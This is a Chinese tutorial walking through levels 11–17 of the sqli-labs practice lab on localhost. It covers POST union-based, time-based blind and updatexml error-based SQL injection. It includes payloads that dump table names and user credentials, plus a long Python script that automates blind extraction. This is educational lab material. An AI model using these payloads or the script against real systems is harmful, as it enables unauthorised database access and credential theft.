目录
(三)第十一关至第十七关
(1)第十一关
首先依旧是先加两行代码,便于学习
然后我们打开less11,分别在username和password处输入admin,提交和结果如下:
蓝色字体提醒我们登陆成功,但是我们发现上面地址栏中没有看到关于username和password相关的参数,说明是post方法提交的,属于post注入漏洞。(这里可以使用burp suite+switchyomega代理抓包,但是我这里出现了一点问题所以改用python爬虫脚本进行,其实知识是一样的,可以自行选择)
这里我们按f12或右键选择检查打开开发者工具,选择 network(网络)
如果下方没有那个less-11,可以刷新一下页面,点击less-11,选择payload
可以看到有一些参数,且可以在headers里面看到是post方式提交的
而我们随便打开前十关任意一关都可以用上述方法发现是get方式
也证实了这关是post注入。
然后我们复制上面payload的参数,打开 hackbar,点击 post data(因为是提交post参数,不能直接在 url 后面加),粘贴到下面的框框中,并稍做修改成为 sql 语句,即将冒号改为等于号,三个参数放在一行且参数之间用 &(与) 来连接,如下
如果这里execute没反应可能是格式问题,那么可以使用我写的一个爬虫脚本来判断
import requests
def post_url(uname, passwd, str):
url = 'http://127.0.0.1/sqli-labs-master/Less-11/'
data = {
'uname': f"{uname}",
'passwd': f"{passwd}",
'submit': "Submit"
}
re = requests.post(url, data=data)
if str in re.text:
print('登录成功!!!')
else:
print('登录失败!!!')
if __name__ == "__main__":
uname = input('请输入unmae:')
passwd = input('请输入passwd:')
str = input('请输入判断语句(如 Your Login):')
post_url(uname, passwd, str)
之后大致步骤如下
uname=' & passwd=1 & submit=Submit 返回的结果如果显示 sql 语法错误说明存在注入漏洞
uname=admin' or 1=1# & passwd=admin & submit=Submit 登陆成功,uname是恒成立的,这里不能使用--+来注释,因为--+主要使用在url中,#是通用的
uname=admin & passwd=admin' or 1=1# & submit=Submit 登陆成功
uname=admin' order by 3# & passwd=admin & submit=Submit 可以查看字段数,得知一共有两列,也可以在passwd中判断
uname=a' union select 1,(select schema_name from information_schema.schemata limit 0,1)#& passwd=admin & submit=Submit 查询第一个数据库名
uname=a' union select 1,(select group_concat(schema_name) from information_schema.schemata)#& passwd=admin & submit=submit 查所有数据库
uname=a' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479)# & passwd=admin & submit=submit 查表名
uname=a' union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273)# & passwd=admin & submit=submit 查字段
uname=a' union select 1,(select group_concat(concat_ws('~',username,password)) from security.users)# & passwd=admin & submit=submit 查数据
第十一关结束
(2)第十二关
把十一关的uname后面的 ' 换成 ") 就可以了
(3)第十三关
post 型盲注,输入admin admin,登陆成功,但是页面上没有回显,判断为post 盲注,这里可以使用时间盲注来判断
import requests
def get_num(URL, uname, passwd, txt):
for i in range(20):
username = f"{uname} or if((length(database())={i}),sleep(0.3),1)#"
data = {
'uname': f"{username}",
'passwd': f"{passwd}",
'submit': "Submit"
}
re = requests.post(URL, data=data)
re_seconds = re.elapsed.total_seconds()
if re_seconds > 2:
print(f"数据库长度为{i}")
break
get_database(URL, uname, passwd, i, txt)
def get_database(URL, uname, passwd, i, txt):
db_name = ""
x = 1
for i in range(i):
for j in txt:
k = db_name + j
username = f"{uname} or if((left((select database()),{x})='{k}'),sleep(0.3),1)#"
data = {
'uname': f"{username}",
'passwd': f"{passwd}",
'submit': "Submit"
}
re = requests.post(URL, data)
re_seconds = re.elapsed.total_seconds()
if re_seconds > 2:
db_name = db_name + j
x += 1
break
print("数据库名字为", db_name)
tb_num(URL, uname, passwd, txt, db_name)
def tb_num(URL, uname, passwd, txt, db_name):
for i in range(1,100): # 合理猜一下大概有多少个
username = f"{uname} or if(((select count(table_name) from information_schema.tables where table_schema='{db_name}')={i}),sleep(0.3),1)#"
data = {
'uname': f"{username}",
'passwd': f"{passwd}",
'submit': "Submit"
}
re=requests.post(URL, data=data)
re_seconds = re.elapsed.total_seconds()
if re_seconds > 2:
print(f"数据库{db_name}有", i, "张表")
tb_name(i, URL, txt, db_name)
def tb_name(i, URL, txt, db_name):
n = 0
tb_list = []
for x in range(i):
tb_name = ""
for j in range(1, 20): # 先判断表名有几位
username = f"{uname} or if(((select length(table_name) from information_schema.tables where table_schema='{db_name}' limit {n},1)={j}),sleep(0.3),1)#"
data = {
'uname': f"{username}",
'passwd': f"{passwd}",
'submit': "Submit"
}
re = requests.post(URL, data=data)
re_seconds = re.elapsed.total_seconds()
if re_seconds > 2:
tb_length = j
l = 1
for p in range(tb_length): # 再判断表名
for k in txt:
name = tb_name + k
username = f"{uname} or if((select left((select table_name from information_schema.tables where table_schema='{db_name}' limit {n},1),{l})='{name}'),sleep(0.3),1)#"
data2 = {
'uname': f"{username}",
'passwd': f"{passwd}",
'submit': "Submit"
}
re = requests.post(URL, data2)
re_seconds = re.elapsed.total_seconds()
if re_seconds > 2:
tb_name = tb_name + k
l += 1
break
n += 1
print(f"第{n}张表名为:{tb_name}")
tb_list.append(tb_name)
break
column_num(tb_list, URL, txt, db_name, uname, passwd)
def column_num(tb_list, URL, txt, db_name, uname, passwd):
# 猜测每张表的字段数
column_num_list = []
for i in tb_list:
for j in range(30):
username = f"{uname} or if(((select count(column_name) from information_schema.columns where table_name='{i}')={j}),sleep(0.3),1)#"
data = {
'uname': f"{username}",
'passwd': f"{passwd}",
'submit': "Submit"
}
re = requests.post(URL, data=data)
re_seconds = re.elapsed.total_seconds()
if re_seconds > 2:
column_num_list.append(j)
print(f"表{i}的字段数为:{j}")
column_num_list.append(j)
break
column_name(column_num_list, db_name, URL, tb_list, uname, passwd, txt)
def column_name(column_num_list, db_name, URL, tb_list, uname, passwd, txt):
# 猜测字段名
cl_name_list = []
del column_num_list[::2] # 这里是因为不知道什么原因导致里面的数据重复了一份,如果有大佬知道为什么还望指点一二
for t in range(len(tb_list)): # 四张表,循环4次
x = 0
for r in range(column_num_list[t]): # 从字段列表中取出字段数并循环相应次数
for i in range(20): # 猜测字段名长度,合理即可
l = 1
cl_name = ""
username = f"{uname} or if(((select length(column_name) from information_schema.columns where table_name='{tb_list[t]}' limit {x},1)={i}),sleep(0.3),1)#"
data = {
'uname': f"{username}",
'passwd': f"{passwd}",
'submit': "Submit"
}
re = requests.post(URL, data=data)
re_seconds = re.elapsed.total_seconds()
if re_seconds > 2:
for k in range(i):
for j in txt:
name = cl_name+j
username = f"{uname} or if((left((select column_name from information_schema.columns where table_name='{tb_list[t]}' limit {x},1),{l})='{name}'),sleep(0.3),1)#"
data = {
'uname': f"{username}",
'passwd': f"{passwd}",
'submit': "Submit"
}
re = requests.post(URL, data=data)
re_seconds = re.elapsed.total_seconds()
if re_seconds > 2:
cl_name += j
l += 1
break
print(f"表{tb_list[t]}字段名有:{cl_name}")
x += 1
cl_name_list.append(cl_name)
break
get_data(cl_name_list, txt, uname, passwd)
def get_data(cl_name_list, txt, uname, passwd):
for i in cl_name_list[12:15]:
for j in range(101): # 猜测 users 里面 id
username = f"{uname} or if(((select count({i}) from security.users)={j}),sleep(0.3),1)#"
data = {
'uname': f"{username}",
'passwd': f"{passwd}",
'submit': "Submit"
}
re = requests.post(URL, data=data)
re_seconds = re.elapsed.total_seconds()
if re_seconds > 2:
data_num = j
break
for k in range(data_num):
dump_data = ''
for l in range(1, 21): # l表示每条数据的长度,合理范围即可
username = f"{uname} or if((select ascii(substr((select {i} from security.users limit {k},1),{l},1))>1),sleep(0.3),1)#"
data = {
'uname': f"{username}",
'passwd': f"{passwd}",
'submit': "Submit"
}
re = requests.post(URL, data=data)
re_seconds = re.elapsed.total_seconds()
if re_seconds < 2:
data_len = l - 1
for x in range(1, data_len + 1): # x表示每条数据的实际范围,作为mid截取的范围
for y in txt:
name = dump_data+y
username = f"{uname} or if((left((select {i} from security.users limit {k},1),{x})='{name}'),sleep(0.3),1)#"
data = {
'uname': f"{username}",
'passwd': f"{passwd}",
'submit': "Submit"
}
re = requests.post(URL, data=data)
re_seconds = re.elapsed.total_seconds()
if re_seconds > 2:
dump_data += y
break
print(f"{i}里面的数据有:{dump_data}")
break
if __name__ == "__main__":
URL = 'http://127.0.0.1/sqli-labs-master/Less-13/'
uname = input('uname=')
passwd = input('passwd=')
txt="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_@"
get_num(URL, uname, passwd, txt)
这个脚本时我自己写的一个爬虫,但是运行的时间有点长,希望精通这方面的大佬能够指点一二,也可以使用 burp suite+sqlmap 进行。
(4)第十四关
十四关和十三关一样的盲注,只是注入时 ') 换成了 "
(5)第十五关
和十三关一样的盲注,') --> '
(6)第十六关
') --> ")
(7)第十七关
1、补充知识:
UPDATEXML(XML document,XPath string,new value);
第一个参数:是 string 格式,为 XML 文档对象名称
第二个参数:XPath 格式的字符串
第三个参数:string格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
改变 XML_document 中符合 XPath_string 的值
注入语句为
select updatexml(1,concat(0x7e,(SELECT username from security.users limit 0,1),0x7e),1);
其中concat()函数是将其连成一个字符串,因此不会符合XPath_string的格式,从而出现格式错误,从而爆出
XPATH syntax error: '~Dumb~'
2、十七关
首先我们进入到 less-17目录下面的php文件,进行一些修改,有利与我们进行注入判断
加上这两句话,然后我们打开less-17,输入 admin admin
发现他的回显和之前不一样,简单翻译一下就是成功更新了你的密码,输入admin hhh同样显示成功,但是如果username输入错误,则会返回失败。
首先我们拿到post参数,不管是burp suite抓包,还是在f12 -- network -- less-17 -- payload下面都可以拿到post 参数(如果network下面没有就刷新一下),打开hackbar,将参数输入
之后我们尝试着在uname处注入
但是发现在转译的时候出现了 \ 符号,所以尝试在passwd处注入,发现注入成功。
接下来就是构造语句了,
uname=admin & passwd=a' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security' ),0x7e),1)# & submit=Submit 查表名
uname=admin & passwd=a' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e),1)# & submit=Submit 查字段名
uname=admin & passwd=a' and updatexml(2,concat(0x7e,(select * from (select concat_ws(0x7e,username,password) from security.users limit 0,1) a ),0x7e),2)# & submit=Submit 改变limit值可以取出所有数据
一些可能出现的错误:
1、回显为 Trucated incorrect DOUBLE value:
这个原因的话是 mysql 版本的问题,换成 5.1就行,注意换完后 设置/重置实验室数据库 哦
2、回显为 you can't specify target table 'users' for update in from clause
大致翻译为:不能先select出同一表中的某些值,再update这个表 (在同一语句中)
解决思路:将select出的结果作为派生表在查一次,据说只会在 MySQL 中出现
select * from (select group_concat(concat_ws('~',username,password)) from security.users) a